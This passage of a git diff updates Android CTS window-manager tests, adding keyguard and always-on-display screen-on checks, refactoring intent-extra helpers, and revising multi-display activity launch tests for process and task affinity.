+                    getIntent().getBooleanExtra(SYSTEM_APPLICATION_OVERLAY_EXTRA, false));
+
+            mTextView = new TextView(this);
+            mTextView.setText(windowName + "   type=" + TYPE_APPLICATION_OVERLAY);
+            mTextView.setBackgroundColor(Color.GREEN);
+
+            getWindowManager().addView(mTextView, params);
+        }
+
+        @Override
+        protected void onDestroy() {
+            super.onDestroy();
+            getWindowManager().removeView(mTextView);
+        }
+    }
+
+    // These activities are running the same code, but in different processes to ensure that they
+    // each create their own WindowSession, using the correct permissions. If they are run in the
+    // same process WindowSession is cached and might end up not matching the permissions set up
+    // with adoptShellPermissions
+    public static class InternalSystemWindowActivity extends BaseSystemWindowActivity {}
+    public static class SystemApplicationOverlayActivity extends BaseSystemWindowActivity {}
+    public static class SystemWindowActivity extends BaseSystemWindowActivity {}
+
+    private static class PongReceiver extends BroadcastReceiver {
+
+        volatile ConditionVariable mConditionVariable = new ConditionVariable();
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            mConditionVariable.open();
+        }
+
+        public void waitForPong() {
+            assertThat(mConditionVariable.block(10000L)).isTrue();
+            mConditionVariable = new ConditionVariable();
+        }
+    }
+
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardLockedTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardLockedTests.java
index 115310f..92368fb 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardLockedTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardLockedTests.java
@@ -18,6 +18,7 @@
 
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
 import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
+import static android.server.wm.CliIntentExtra.extraString;
 import static android.server.wm.MockImeHelper.createManagedMockImeSession;
 import static android.server.wm.UiDeviceUtils.pressBackButton;
 import static android.server.wm.app.Components.DISMISS_KEYGUARD_ACTIVITY;
@@ -29,11 +30,14 @@
 import static android.server.wm.app.Components.PipActivity.EXTRA_SHOW_OVER_KEYGUARD;
 import static android.server.wm.app.Components.SHOW_WHEN_LOCKED_ACTIVITY;
 import static android.server.wm.app.Components.SHOW_WHEN_LOCKED_ATTR_IME_ACTIVITY;
+import static android.server.wm.app.Components.TURN_SCREEN_ON_ACTIVITY;
 import static android.server.wm.app.Components.TURN_SCREEN_ON_ATTR_DISMISS_KEYGUARD_ACTIVITY;
 import static android.view.Display.DEFAULT_DISPLAY;
 import static android.view.WindowInsets.Type.ime;
 import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_VISIBLE;
 
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
 
 import static org.junit.Assert.assertFalse;
@@ -41,21 +45,19 @@
 import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
-
 import android.app.Activity;
 import android.app.KeyguardManager;
 import android.content.ComponentName;
 import android.os.Bundle;
 import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
+import android.server.wm.app.Components;
 import android.view.View;
 import android.widget.EditText;
 import android.widget.LinearLayout;
 
 import com.android.compatibility.common.util.CtsTouchUtils;
 import com.android.compatibility.common.util.PollingCheck;
-
 import com.android.cts.mockime.ImeEventStream;
 import com.android.cts.mockime.MockImeSession;
 
@@ -214,6 +216,40 @@
     }
 
     @Test
+    public void testTurnScreenOnActivity_withSecureKeyguardAndAod() {
+        final AodSession aodSession = createManagedAodSession();
+        final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+        lockScreenSession.setLockCredential();
+        testTurnScreenOnActivity_withSecureKeyguard(aodSession, lockScreenSession,
+                false /* enableAod */);
+        testTurnScreenOnActivity_withSecureKeyguard(aodSession, lockScreenSession,
+                true /* enableAod */);
+    }
+
+    private void testTurnScreenOnActivity_withSecureKeyguard(AodSession aodSession,
+            LockScreenSession lockScreenSession, boolean enableAod) {
+        if (enableAod) {
+            assumeTrue(aodSession.isAodAvailable());
+        }
+        aodSession.setAodEnabled(enableAod);
+        lockScreenSession.sleepDevice();
+        mWmState.computeState();
+        assertTrue(mWmState.getKeyguardControllerState().keyguardShowing);
+
+        final CommandSession.ActivitySessionClient activityClient =
+                createManagedActivityClientSession();
+        final CommandSession.ActivitySession activity = activityClient.startActivity(
+                getLaunchActivityBuilder().setUseInstrumentation().setIntentExtra(extra -> {
+                    extra.putBoolean(Components.TurnScreenOnActivity.EXTRA_SHOW_WHEN_LOCKED, false);
+                }).setTargetActivity(TURN_SCREEN_ON_ACTIVITY));
+        mWmState.waitForKeyguardShowingAndNotOccluded();
+        mWmState.assertVisibility(TURN_SCREEN_ON_ACTIVITY, false);
+        assertTrue(mWmState.getKeyguardControllerState().keyguardShowing);
+        assertFalse(isDisplayOn(DEFAULT_DISPLAY));
+        activity.finish();
+    }
+
+    @Test
     public void testDismissKeyguardAttrActivity_method_turnScreenOn_withSecureKeyguard() {
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
         lockScreenSession.setLockCredential().sleepDevice();
@@ -235,7 +271,7 @@
         lockScreenSession.setLockCredential();
 
         // Show the PiP activity in fullscreen.
-        launchActivity(PIP_ACTIVITY, EXTRA_SHOW_OVER_KEYGUARD, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_SHOW_OVER_KEYGUARD, "true"));
 
         // Lock the screen and ensure that the PiP activity showing over the LockScreen.
         lockScreenSession.gotoKeyguard(PIP_ACTIVITY);
@@ -264,7 +300,7 @@
         lockScreenSession.setLockCredential();
 
         // Show an activity in PIP.
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"));
         waitForEnterPip(PIP_ACTIVITY);
         mWmState.assertContainsStack("Must contain pinned stack.", WINDOWING_MODE_PINNED,
                 ACTIVITY_TYPE_STANDARD);
@@ -292,7 +328,8 @@
         lockScreenSession.setLockCredential();
 
         // Show an activity in PIP.
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true", EXTRA_SHOW_OVER_KEYGUARD, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"),
+                extraString(EXTRA_SHOW_OVER_KEYGUARD, "true"));
         waitForEnterPip(PIP_ACTIVITY);
         mWmState.assertContainsStack("Must contain pinned stack.", WINDOWING_MODE_PINNED,
                 ACTIVITY_TYPE_STANDARD);
@@ -311,7 +348,8 @@
 
         final LockScreenSession lockScreenSession = createManagedLockScreenSession();
         // Show an activity in PIP.
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true", EXTRA_DISMISS_KEYGUARD, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"),
+                extraString(EXTRA_DISMISS_KEYGUARD, "true"));
         waitForEnterPip(PIP_ACTIVITY);
         mWmState.assertContainsStack("Must contain pinned stack.", WINDOWING_MODE_PINNED,
                 ACTIVITY_TYPE_STANDARD);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
index 2e2e7de..056f446 100755
--- a/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/KeyguardTests.java
@@ -37,6 +37,7 @@
 import static android.server.wm.app.Components.SHOW_WHEN_LOCKED_TRANSLUCENT_ACTIVITY;
 import static android.server.wm.app.Components.SHOW_WHEN_LOCKED_WITH_DIALOG_ACTIVITY;
 import static android.server.wm.app.Components.TEST_ACTIVITY;
+import static android.server.wm.app.Components.TURN_SCREEN_ON_ACTIVITY;
 import static android.server.wm.app.Components.TURN_SCREEN_ON_ATTR_DISMISS_KEYGUARD_ACTIVITY;
 import static android.server.wm.app.Components.TURN_SCREEN_ON_DISMISS_KEYGUARD_ACTIVITY;
 import static android.view.Display.DEFAULT_DISPLAY;
@@ -50,13 +51,11 @@
 
 import android.content.ComponentName;
 import android.content.res.Configuration;
-import android.hardware.display.AmbientDisplayConfiguration;
 import android.platform.test.annotations.Presubmit;
-import android.provider.Settings;
 import android.server.wm.CommandSession.ActivitySession;
 import android.server.wm.CommandSession.ActivitySessionClient;
 import android.server.wm.WindowManagerState.WindowState;
-import android.server.wm.settings.SettingsSession;
+import android.server.wm.app.Components;
 
 import androidx.test.filters.FlakyTest;
 
@@ -70,25 +69,6 @@
 @Presubmit
 @android.server.wm.annotation.Group2
 public class KeyguardTests extends KeyguardTestBase {
-    class AodSession extends SettingsSession<Integer> {
-        private AmbientDisplayConfiguration mConfig;
-
-        AodSession() {
-            super(Settings.Secure.getUriFor(Settings.Secure.DOZE_ALWAYS_ON),
-                    Settings.Secure::getInt,
-                    Settings.Secure::putInt);
-            mConfig = new AmbientDisplayConfiguration(mContext);
-        }
-
-        boolean isAodAvailable() {
-            return mConfig.alwaysOnAvailable();
-        }
-
-        void setAodEnabled(boolean enabled) {
-            set(enabled ? 1 : 0);
-        }
-    }
-
     @Before
     @Override
     public void setUp() throws Exception {
@@ -456,6 +436,29 @@
                         WindowManagerState.STATE_RESUMED));
     }
 
+    @Test
+    public void testTurnScreenOnOnActivityOnAod() {
+        final AodSession aodSession = createManagedAodSession();
+        assumeTrue(aodSession.isAodAvailable());
+        aodSession.setAodEnabled(true);
+
+        final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+        lockScreenSession.sleepDevice();
+        assertTrue(mWmState.getKeyguardControllerState().keyguardShowing);
+
+        final CommandSession.ActivitySessionClient activityClient =
+                createManagedActivityClientSession();
+        activityClient.startActivity(
+                getLaunchActivityBuilder().setUseInstrumentation().setIntentExtra(extra -> {
+                    extra.putBoolean(Components.TurnScreenOnActivity.EXTRA_SHOW_WHEN_LOCKED,
+                            false);
+                }).setTargetActivity(TURN_SCREEN_ON_ACTIVITY));
+
+        mWmState.computeState(TURN_SCREEN_ON_ACTIVITY);
+        mWmState.assertVisibility(TURN_SCREEN_ON_ACTIVITY, true);
+        assertFalse(mWmState.getKeyguardControllerState().keyguardShowing);
+        assertTrue(isDisplayOn(DEFAULT_DISPLAY));
+    }
     /**
      * Tests whether a FLAG_DISMISS_KEYGUARD activity occludes Keyguard.
      */
@@ -569,7 +572,7 @@
         mWmState.waitForKeyguardShowingAndNotOccluded();
         mWmState.waitForDisplayUnfrozen();
         mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
-        mWmState.assertSanity();
+        mWmState.assertValidity();
         mWmState.assertHomeActivityVisible(false);
         mWmState.assertKeyguardShowingAndNotOccluded();
         // The {@link SHOW_WHEN_LOCKED_ACTIVITY} has gone because of the 'finish' broadcast.
@@ -601,19 +604,17 @@
 
     @Test
     public void testScreenOffWhileOccludedStopsActivityNoAod() {
-        try (final AodSession aodSession = new AodSession()) {
-            aodSession.setAodEnabled(false);
-            testScreenOffWhileOccludedStopsActivity(false /* assertAod */);
-        }
+        final AodSession aodSession = createManagedAodSession();
+        aodSession.setAodEnabled(false);
+        testScreenOffWhileOccludedStopsActivity(false /* assertAod */);
     }
 
     @Test
     public void testScreenOffWhileOccludedStopsActivityAod() {
-        try (final AodSession aodSession = new AodSession()) {
-            assumeTrue(aodSession.isAodAvailable());
-            aodSession.setAodEnabled(true);
-            testScreenOffWhileOccludedStopsActivity(true /* assertAod */);
-        }
+        final AodSession aodSession = createManagedAodSession();
+        assumeTrue(aodSession.isAodAvailable());
+        aodSession.setAodEnabled(true);
+        testScreenOffWhileOccludedStopsActivity(true /* assertAod */);
     }
 
     /**
@@ -643,19 +644,17 @@
 
     @Test
     public void testScreenOffCausesSingleStopNoAod() {
-        try (final AodSession aodSession = new AodSession()) {
-            aodSession.setAodEnabled(false);
-            testScreenOffCausesSingleStop();
-        }
+        final AodSession aodSession = createManagedAodSession();
+        aodSession.setAodEnabled(false);
+        testScreenOffCausesSingleStop();
     }
 
     @Test
     public void testScreenOffCausesSingleStopAod() {
-        try (final AodSession aodSession = new AodSession()) {
-            assumeTrue(aodSession.isAodAvailable());
-            aodSession.setAodEnabled(true);
-            testScreenOffCausesSingleStop();
-        }
+        final AodSession aodSession = createManagedAodSession();
+        assumeTrue(aodSession.isAodAvailable());
+        aodSession.setAodEnabled(true);
+        testScreenOffCausesSingleStop();
     }
 
     private void testScreenOffCausesSingleStop() {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java
index b54f091..70dfb50 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java
@@ -26,6 +26,8 @@
 import static android.server.wm.app.Components.TOP_LEFT_LAYOUT_ACTIVITY;
 import static android.server.wm.app.Components.TOP_RIGHT_LAYOUT_ACTIVITY;
 import static android.view.Display.DEFAULT_DISPLAY;
+import static android.view.WindowInsets.Type.captionBar;
+import static android.view.WindowInsets.Type.systemBars;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
@@ -36,6 +38,7 @@
 import android.platform.test.annotations.Presubmit;
 import android.server.wm.WindowManagerState.WindowState;
 import android.view.DisplayCutout;
+import android.view.WindowMetrics;
 
 import org.junit.Test;
 
@@ -96,6 +99,7 @@
     @Test
     @Presubmit
     public void testMinimalSizeDocked() throws Exception {
+        mUseTaskOrganizer = false;
         assumeTrue("Skipping test: no multi-window support", supportsSplitScreenMultiWindow());
 
         testMinimalSize(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
@@ -111,7 +115,7 @@
             launchActivitiesInSplitScreen(
                     getLaunchActivityBuilder().setTargetActivity(BOTTOM_RIGHT_LAYOUT_ACTIVITY),
                     getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-            resizeDockedStack(1, 1, 1, 1);
+            mTaskOrganizer.setRootPrimaryTaskBounds(new Rect(0, 0, 1, 1));
         }
         getDisplayAndWindowState(BOTTOM_RIGHT_LAYOUT_ACTIVITY, false);
 
@@ -144,7 +148,10 @@
         getDisplayAndWindowState(activityName, true);
 
         final Rect containingRect = mWindowState.getContainingFrame();
-        final Rect stableBounds = mDisplay.getStableBounds();
+        final WindowMetrics windowMetrics = mWm.getMaximumWindowMetrics();
+        final Rect stableBounds = new Rect(windowMetrics.getBounds());
+        stableBounds.inset(windowMetrics.getWindowInsets().getInsetsIgnoringVisibility(
+                systemBars() & ~captionBar()));
         final int expectedWidthPx, expectedHeightPx;
         // Evaluate the expected window size in px. If we're using fraction dimensions,
         // calculate the size based on the app rect size. Otherwise, convert the expected
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MinimalPostProcessingTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MinimalPostProcessingTests.java
index 2abb9de..49ebe3f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MinimalPostProcessingTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MinimalPostProcessingTests.java
@@ -17,7 +17,7 @@
 package android.server.wm;
 
 import static android.app.ActivityTaskManager.INVALID_STACK_ID;
-import static android.server.wm.WindowManagerState.STATE_RESUMED;
+import static android.server.wm.CliIntentExtra.extraString;
 import static android.server.wm.app.Components.MPP_ACTIVITY;
 import static android.server.wm.app.Components.MPP_ACTIVITY2;
 import static android.server.wm.app.Components.MPP_ACTIVITY3;
@@ -39,7 +39,7 @@
 
     private void launchMppActivity(ComponentName name, boolean preferMinimalPostProcessing) {
         if (preferMinimalPostProcessing) {
-            launchActivity(name, EXTRA_PREFER_MPP, "anything");
+            launchActivity(name, extraString(EXTRA_PREFER_MPP, "anything"));
         } else {
             launchActivity(name);
         }
@@ -80,13 +80,7 @@
     }
 
     @Test
-    public void testNotPreferMinimalPostProcessingSimple() throws Exception {
-        launchMppActivity(MPP_ACTIVITY, NOT_PREFER_MPP);
-        assertDisplayRequestedMinimalPostProcessing(MPP_ACTIVITY, NOT_PREFER_MPP);
-    }
-
-    @Test
-    public void testAttrPreferMinimalPostProcessingDefault() throws Exception {
+    public void testPreferMinimalPostProcessingDefault() throws Exception {
         launchMppActivity(MPP_ACTIVITY, NOT_PREFER_MPP);
         assertDisplayRequestedMinimalPostProcessing(MPP_ACTIVITY, NOT_PREFER_MPP);
     }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
index 44bd353..82a8532 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
@@ -24,8 +24,14 @@
 import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_SINGLE_TOP;
+import static android.server.wm.ActivityLauncher.KEY_ACTION;
 import static android.server.wm.ActivityLauncher.KEY_LAUNCH_ACTIVITY;
+import static android.server.wm.ActivityLauncher.KEY_LAUNCH_IMPLICIT;
+import static android.server.wm.ActivityLauncher.KEY_LAUNCH_PENDING;
 import static android.server.wm.ActivityLauncher.KEY_NEW_TASK;
+import static android.server.wm.ActivityLauncher.KEY_USE_APPLICATION_CONTEXT;
+import static android.server.wm.CliIntentExtra.extraBool;
+import static android.server.wm.CliIntentExtra.extraString;
 import static android.server.wm.ComponentNameUtils.getActivityName;
 import static android.server.wm.UiDeviceUtils.pressHomeButton;
 import static android.server.wm.WindowManagerState.STATE_RESUMED;
@@ -35,12 +41,11 @@
 import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
 import static android.server.wm.app.Components.NON_RESIZEABLE_ACTIVITY;
 import static android.server.wm.app.Components.RESIZEABLE_ACTIVITY;
-import static android.server.wm.app.Components.SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY;
-import static android.server.wm.app.Components.SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY2;
-import static android.server.wm.app.Components.SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY3;
 import static android.server.wm.app.Components.TEST_ACTIVITY;
 import static android.server.wm.app.Components.TOP_ACTIVITY;
 import static android.server.wm.app.Components.VIRTUAL_DISPLAY_ACTIVITY;
+import static android.server.wm.second.Components.IMPLICIT_TARGET_SECOND_ACTIVITY;
+import static android.server.wm.second.Components.IMPLICIT_TARGET_SECOND_TEST_ACTION;
 import static android.server.wm.second.Components.SECOND_ACTIVITY;
 import static android.server.wm.second.Components.SECOND_LAUNCH_BROADCAST_ACTION;
 import static android.server.wm.second.Components.SECOND_LAUNCH_BROADCAST_RECEIVER;
@@ -48,7 +53,6 @@
 import static android.view.Display.DEFAULT_DISPLAY;
 
 import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeTrue;
@@ -70,8 +74,6 @@
 import android.server.wm.WindowManagerState.DisplayContent;
 import android.view.SurfaceView;
 
-import com.android.compatibility.common.util.SystemUtil;
-
 import org.junit.Before;
 import org.junit.Test;
 
@@ -278,7 +280,7 @@
         nonResizeableSession.takeCallbackHistory();
 
         // Try to move the non-resizeable activity to the top of stack on secondary display.
-        moveActivityToStackOrOnTop(NON_RESIZEABLE_ACTIVITY, externalFrontStackId);
+        moveActivityToRootTaskOrOnTop(NON_RESIZEABLE_ACTIVITY, externalFrontStackId);
         // Wait for a while to check that it will move.
         assertTrue("Non-resizeable activity should be moved",
                 mWmState.waitForWithAmState(
@@ -337,22 +339,22 @@
         // Check that non-resizeable activity is on the same display.
         final int newFrontStackId = mWmState.getFocusedStackId();
         final ActivityTask newFrontStack = mWmState.getRootTask(newFrontStackId);
-        assertTrue("Launched activity must be on the same display",
-                newDisplay.mId == newFrontStack.mDisplayId);
+        assertEquals("Launched activity must be on the same display", newDisplay.mId,
+                newFrontStack.mDisplayId);
         assertEquals("Launched activity must be resumed",
                 getActivityName(NON_RESIZEABLE_ACTIVITY),
                 newFrontStack.mResumedActivity);
         mWmState.assertFocusedStack(
                 "Top stack must be the one with just launched activity",
                 newFrontStackId);
-        assertBothDisplaysHaveResumedActivities(pair(newDisplay.mId, LAUNCHING_ACTIVITY),
-                pair(newFrontStack.mDisplayId, NON_RESIZEABLE_ACTIVITY));
+        mWmState.assertResumedActivity("NON_RESIZEABLE_ACTIVITY not resumed",
+                NON_RESIZEABLE_ACTIVITY);
     }
 
     /**
-     * Tests launching an activity on virtual display and then launching another activity via shell
-     * command and without specifying the display id - the second activity must appear on the
-     * primary display.
+     * Tests launching an activity on virtual display and then launching another activity
+     * via shell command and without specifying the display id - the second activity
+     * must appear on the same display due to process affinity.
      */
     @Test
     public void testConsequentLaunchActivity() {
@@ -369,11 +371,37 @@
         // Launch second activity without specifying display.
         launchActivity(LAUNCHING_ACTIVITY);
 
+        // Check that activity is launched in focused stack on the new display.
+        waitAndAssertTopResumedActivity(LAUNCHING_ACTIVITY, newDisplay.mId,
+                "Launched activity must be focused");
+        mWmState.assertResumedActivity("LAUNCHING_ACTIVITY must be resumed", LAUNCHING_ACTIVITY);
+    }
+
+    /**
+     * Tests launching an activity on a virtual display and then launching another activity in
+     * a new process via shell command and without specifying the display id - the second activity
+     * must appear on the primary display.
+     */
+    @Test
+    public void testConsequentLaunchActivityInNewProcess() {
+        // Create new virtual display.
+        final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+                .setSimulateDisplay(true).createDisplay();
+
+        // Launch activity on new secondary display.
+        launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
+
+        waitAndAssertTopResumedActivity(TEST_ACTIVITY, newDisplay.mId,
+                "Activity launched on secondary display must be on top");
+
+        // Launch second activity without specifying display.
+        launchActivity(SECOND_ACTIVITY);
+
         // Check that activity is launched in focused stack on primary display.
-        waitAndAssertTopResumedActivity(LAUNCHING_ACTIVITY, DEFAULT_DISPLAY,
+        waitAndAssertTopResumedActivity(SECOND_ACTIVITY, DEFAULT_DISPLAY,
                 "Launched activity must be focused");
         assertBothDisplaysHaveResumedActivities(pair(newDisplay.mId, TEST_ACTIVITY),
-                pair(DEFAULT_DISPLAY, LAUNCHING_ACTIVITY));
+                pair(DEFAULT_DISPLAY, SECOND_ACTIVITY));
     }
 
     /**
@@ -466,6 +494,30 @@
     }
 
     /**
+     * Tests that when an {@link Activity} is running on one display but is started from a second
+     * display then the {@link Activity} is moved to the second display.
+     */
+    @Test
+    public void testLaunchExistingActivityReparentDisplay() {
+        // Create new virtual display.
+        final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+                .setSimulateDisplay(true).createDisplay();
+
+        launchActivityOnDisplay(SECOND_ACTIVITY, DEFAULT_DISPLAY);
+
+        waitAndAssertTopResumedActivity(SECOND_ACTIVITY, DEFAULT_DISPLAY,
+                "Must launch activity on same display.");
+
+        launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mId,
+                extraBool(KEY_USE_APPLICATION_CONTEXT, true), extraBool(KEY_NEW_TASK, true),
+                extraBool(KEY_LAUNCH_ACTIVITY, true), extraBool(KEY_LAUNCH_IMPLICIT, true),
+                extraString(KEY_ACTION, IMPLICIT_TARGET_SECOND_TEST_ACTION));
+
+        waitAndAssertTopResumedActivity(IMPLICIT_TARGET_SECOND_ACTIVITY, newDisplay.mId,
+                "Must launch activity on same display.");
+    }
+
+    /**
      * Tests launching an activity to secondary display from activity on primary display.
      */
     @Test
@@ -613,11 +665,11 @@
     }
 
     /**
-     * Tests that task affinity does affect what display an activity is launched on but that
-     * matching the task component root does.
+     * Tests that if a second task has the same affinity as a running task but in a separate
+     * process the second task launches in the same display.
      */
     @Test
-    public void testTaskMatchAcrossDisplays() {
+    public void testLaunchSameAffinityLaunchesSameDisplay() {
         final DisplayContent newDisplay = createManagedVirtualDisplaySession()
                 .setSimulateDisplay(true).createDisplay();
 
@@ -628,7 +680,8 @@
         final int frontStackId = mWmState.getFrontRootTaskId(newDisplay.mId);
         final ActivityTask firstFrontStack = mWmState.getRootTask(frontStackId);
         assertEquals("Activity launched on secondary display must be resumed",
-                getActivityName(LAUNCHING_ACTIVITY), firstFrontStack.mResumedActivity);
+                getActivityName(LAUNCHING_ACTIVITY),
+                firstFrontStack.mResumedActivity);
         mWmState.assertFocusedStack("Top stack must be on secondary display", frontStackId);
 
         executeShellCommand("am start -n " + getActivityName(ALT_LAUNCHING_ACTIVITY));
@@ -636,29 +689,26 @@
 
         // Check that second activity gets launched on the default display despite
         // the affinity match on the secondary display.
-        final int defaultDisplayFrontStackId = mWmState.getFrontRootTaskId(
-                DEFAULT_DISPLAY);
-        final ActivityTask defaultDisplayFrontStack =
-                mWmState.getRootTask(defaultDisplayFrontStackId);
-        assertEquals("Activity launched on default display must be resumed",
-                getActivityName(ALT_LAUNCHING_ACTIVITY),
-                defaultDisplayFrontStack.mResumedActivity);
-        mWmState.assertFocusedStack("Top stack must be on primary display",
-                defaultDisplayFrontStackId);
-
-        executeShellCommand("am start -n " + getActivityName(LAUNCHING_ACTIVITY));
+        final int displayFrontStackId = mWmState.getFrontRootTaskId(newDisplay.mId);
+        final ActivityTask displayFrontStack =
+                mWmState.getRootTask(displayFrontStackId);
+        waitAndAssertTopResumedActivity(ALT_LAUNCHING_ACTIVITY, newDisplay.mId,
+                "Activity launched on same display must be resumed");
+        launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mId);
         waitAndAssertTopResumedActivity(LAUNCHING_ACTIVITY, newDisplay.mId,
                 "Existing task must be brought to front");
 
         // Check that the third intent is redirected to the first task due to the root
         // component match on the secondary display.
         final ActivityTask secondFrontStack = mWmState.getRootTask(frontStackId);
+        final int secondFrontStackId = mWmState.getFrontRootTaskId(newDisplay.mId);
         assertEquals("Activity launched on secondary display must be resumed",
-                getActivityName(LAUNCHING_ACTIVITY), secondFrontStack.mResumedActivity);
-        mWmState.assertFocusedStack("Top stack must be on primary display", frontStackId);
-        assertEquals("Second display must only contain 1 root task", 1,
+                getActivityName(ALT_LAUNCHING_ACTIVITY),
+                displayFrontStack.mResumedActivity);
+        mWmState.assertFocusedStack("Top stack must be on primary display", secondFrontStackId);
+        assertEquals("Second display must contain 2 root tasks", 2,
                 mWmState.getDisplay(newDisplay.mId).getRootTasks().size());
-        assertEquals("Top task must only contain 1 activity", 1,
+        assertEquals("Top task must contain 2 activities", 2,
                 secondFrontStack.getActivities().size());
     }
 
@@ -729,8 +779,8 @@
     }
 
     /**
-     * Tests that a new task launched by an activity will end up on that activity's display
-     * even if the focused stack is not on that activity's display.
+     * Tests that a new activity launched by an activity will end up on the same display
+     * even if the task stack is not on the top for the display.
      */
     @Test
     public void testNewTaskSameDisplay() {
@@ -746,10 +796,43 @@
 
         executeShellCommand("am start -n " + getActivityName(TEST_ACTIVITY));
 
-        // Check that the second activity is launched on the default display
-        waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
+        // Check that the second activity is launched on the same display
+        waitAndAssertTopResumedActivity(TEST_ACTIVITY, newDisplay.mId,
                 "Activity launched on default display must be resumed");
-        assertBothDisplaysHaveResumedActivities(pair(DEFAULT_DISPLAY, TEST_ACTIVITY),
+
+        mBroadcastActionTrigger.launchActivityNewTask(getActivityName(LAUNCHING_ACTIVITY));
+
+        // Check that the third activity ends up in a new stack in the same display where the
+        // first activity lands
+        waitAndAssertTopResumedActivity(LAUNCHING_ACTIVITY, newDisplay.mId,
+                "Activity must be launched on secondary display");
+        assertEquals("Secondary display must contain 2 stacks", 2,
+                mWmState.getDisplay(newDisplay.mId).mRootTasks.size());
+    }
+
+    /**
+     * Tests that a new task launched by an activity will end up on the same display
+     * even if the focused stack is not on that activity's display.
+     */
+    @Test
+    public void testNewTaskDefaultDisplay() {
+        final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+                .setSimulateDisplay(true)
+                .createDisplay();
+
+        launchActivityOnDisplay(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mId);
+
+        // Check that the first activity is launched onto the secondary display
+        waitAndAssertTopResumedActivity(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mId,
+                "Activity launched on secondary display must be resumed");
+
+        launchActivityOnDisplay(SECOND_ACTIVITY, DEFAULT_DISPLAY);
+
+        // Check that the second activity is launched on the default display because the affinity
+        // is different
+        waitAndAssertTopResumedActivity(SECOND_ACTIVITY, DEFAULT_DISPLAY,
+                "Activity launched on default display must be resumed");
+        assertBothDisplaysHaveResumedActivities(pair(DEFAULT_DISPLAY, SECOND_ACTIVITY),
                 pair(newDisplay.mId, BROADCAST_RECEIVER_ACTIVITY));
 
         mBroadcastActionTrigger.launchActivityNewTask(getActivityName(LAUNCHING_ACTIVITY));
@@ -760,11 +843,49 @@
                 "Activity must be launched on secondary display");
         assertEquals("Secondary display must contain 2 stacks", 2,
                 mWmState.getDisplay(newDisplay.mId).mRootTasks.size());
-        assertBothDisplaysHaveResumedActivities(pair(DEFAULT_DISPLAY, TEST_ACTIVITY),
+        assertBothDisplaysHaveResumedActivities(pair(DEFAULT_DISPLAY, SECOND_ACTIVITY),
                 pair(newDisplay.mId, LAUNCHING_ACTIVITY));
     }
 
     /**
+     * Test that launching an activity implicitly will end up on the same display
+     */
+    @Test
+    public void testLaunchingFromApplicationContext() {
+        final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+                .setSimulateDisplay(true)
+                .createDisplay();
+
+        launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mId,
